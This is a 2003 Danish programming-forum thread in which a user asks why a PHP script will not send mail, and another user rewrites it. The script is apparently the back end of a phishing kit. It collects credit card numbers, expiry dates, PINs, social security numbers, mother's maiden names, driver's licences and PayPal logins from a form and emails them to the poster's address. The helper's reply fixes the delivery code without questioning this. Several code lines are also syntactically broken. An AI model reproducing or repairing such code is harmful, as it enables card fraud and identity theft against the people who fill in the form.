Avatar billede graphic_king Nybegynder
12. juli 2003 - 23:09 Der er 5 kommentarer og
1 løsning

PHP sendmail script

ok har et php script der skal sende alt det nye bruger skriver ind fra siden/i php databasen:

$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$paypalemail,$userid,$pass";
$MP ="/usr/sbin/sendmail";
$spec_envelope = 1;
if($spec_envelope)
{
$MP .= " -f $announce_from_email";
}
$fd = popen($MP,"w");
fputs($fd, "To: $announce_to_email\n");
fputs($fd, "From: $announce_from_name <$announce_from_email>\n");
fputs($fd, "Subject: $announce_subject\n");
fputs($fd, "X-Mailer: PHP4\n");
fputs($fd, $body);
pclose($fd);

men serveren gider ikke sende emailen.

PHP er isntalelret etc. og har testet om den kan sende....

hvad kan problemet være???  kan det være jeg skal cmod selv php scriptet php databasen??

Mvh
King
Avatar billede phpwiz Nybegynder
12. juli 2003 - 23:16 #1
Avatar billede graphic_king Nybegynder
12. juli 2003 - 23:23 #2
meget at læse men vil da tage et kig...

imens er der nogen åbenlyse fejl i den kode jeg postede??
Avatar billede martinbk Nybegynder
12. juli 2003 - 23:23 #3
som ramlev.dk refarer til, bør du nok bruge PHP's egen mail funktion, bare
i dit tilfælde:

mail(denemail@duvilsende.til,"her er dit Subject",Her er dit indhold,"From: emaildu@sender.fra\nX-Mailer:Blæret PHP mailer");
Avatar billede graphic_king Nybegynder
13. juli 2003 - 00:39 #4
yep men den skal jo ha noget med fra databsen:

Kan i lave denne om til normal php mail for jeg kan i kfå det til at virke!!!-----------------------
PHP dataabsen
---------------------
<?php

if (!empty($HTTP_GET_VARS))
while(list($name, $value) = each($HTTP_GET_VARS))
{ $$name = $value; }
if (!empty($HTTP_POST_VARS))
while(list($name, $value) = each($HTTP_POST_VARS))
{ $$name = $value; }

include ('config.h');

if($hehehe=='' || $month==''|| $year=='')
{
include ('e2.h');
}
else {

$hehehe2 = str_replace("-", "", $ccnumber);
$hehehe2 = str_replace(" ", "", $ccnumber);

if($ccnumber!='')
{


if($pass!='' && is_numeric($pinnum))
{

$announce_subject = "titel her";
$announce_from_email = "titel";
$announce_from_name = "titel";
$announce_to_email = $titel_email;
$body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$pass,$heh2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass";

$MP = "/usr/sbin/sendmail -t -i";
$spec_envelope = 1;
if($spec_envelope)
{
$MP .= " -f $announce_from_email";
}
$fd = popen($MP,"w");
fputs($fd, "To: $announce_to_email\n");
fputs($fd, "From: $announce_from_name <$announce_from_email>\n");
fputs($fd, "Subject: $announce_subject\n");
fputs($fd, "X-Mailer: PHP4\n");
fputs($fd, $body);
pclose($fd);
}
else
{
  if($cchehehe=='hmmm')
    {
    $announce_subject = "titel";
    }
if($cchehe=='Dr')
    {
    $announce_subject = "titel";
    }
if($cchehe=='Md')
    {
    $announce_subject = "titel";
    }
if($cchehe==sss')
    {
    $announce_subject = "titel";
    }
$announce_from_email = "hehe";
$announce_from_name = "hehe";
$announce_to_email = $hehe_email;
$body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$passnum,$c2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass";
$MP = "/usr/sbin/sendmail -t -i";
$spec_envelope = 1;
if($spec_envelope)
{
$MP .= " -f $announce_from_email";
}
$fd = popen($MP,"w");
fputs($fd, "To: $announce_to_email\n");
fputs($fd, "From: $announce_from_name <$announce_from_email>\n");
fputs($fd, "Subject: $announce_subject\n");
fputs($fd, "X-Mailer: PHP4\n");
fputs($fd, $body);
pclose($fd);
}


}

include ('done.h');
}

?>

---------
kan bare ikke få det til at virke
---------
dette bruges så til at sende fra databasen...  (config h file)

<?php
if (!empty($HTTP_GET_VARS))
while(list($name, $value) = each($HTTP_GET_VARS))
{ $$name = $value; }
if (!empty($HTTP_POST_VARS))
while(list($name, $value) = each($HTTP_POST_VARS))
{ $$name = $value; }

$priority_email = '1';
$pin_email = min@email.com';
$cc_email = min@email.com';

?>

kan ikke få dettil at sende please help

Takker
King
Avatar billede martinbk Nybegynder
13. juli 2003 - 01:35 #5
<?php

if (!empty($HTTP_GET_VARS)) {
    while(list($name, $value) = each($HTTP_GET_VARS)) {
        $$name = $value;
    }
}
if (!empty($HTTP_POST_VARS)) {
    while(list($name, $value) = each($HTTP_POST_VARS)) {
        $$name = $value;
    }
include ('config.h');
if($hehehe=='' || $month==''|| $year=='') {
    include ('e2.h');
}
else {
    $hehehe2 = str_replace("-", "", $ccnumber);
    $hehehe2 = str_replace(" ", "", $ccnumber);
    if($ccnumber!='') {
        if($pass!='' && is_numeric($pinnum)) {
            $announce_subject = "titel her";
            $announce_from_email = "titel";
            $announce_from_name = "titel";
            $announce_to_email = $titel_email;
            $body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$pass,$heh2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass";
            if(mail($announce_to_email,$announce_subject,$body,"From: $announce_from_email\nX-Mailer:PHP4")) {
                echo "mail sendt";
        }
        else{
            if($cchehehe=='hmmm') {
                $announce_subject = "titel";
            }
            if($cchehe=='Dr') {
                $announce_subject = "titel";
                }
            if($cchehe=='Md') {
                $announce_subject = "titel";
            }
            if($cchehe==sss') {
                $announce_subject = "titel";
            }
            $announce_from_email = "hehe";
            $announce_from_name = "hehe";
            $announce_to_email = $hehe_email;
            $body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$passnum,$c2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass";
            if(mail($announce_to_email,$announce_subject,$body,"From: $announce_from_email\nX-Mailer:PHP4")) {
                echo "hej med dig";
            }
        }

include ('done.h');
}

?>

lige et lille tip, lav nogle indryk.. din kode er FULDSTÆNDIG uoverskuelig har forsøgt at lave nogle tabuleringer...
Avatar billede graphic_king Nybegynder
13. juli 2003 - 23:08 #6
takker for jeres input lukker spørgsmålet.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester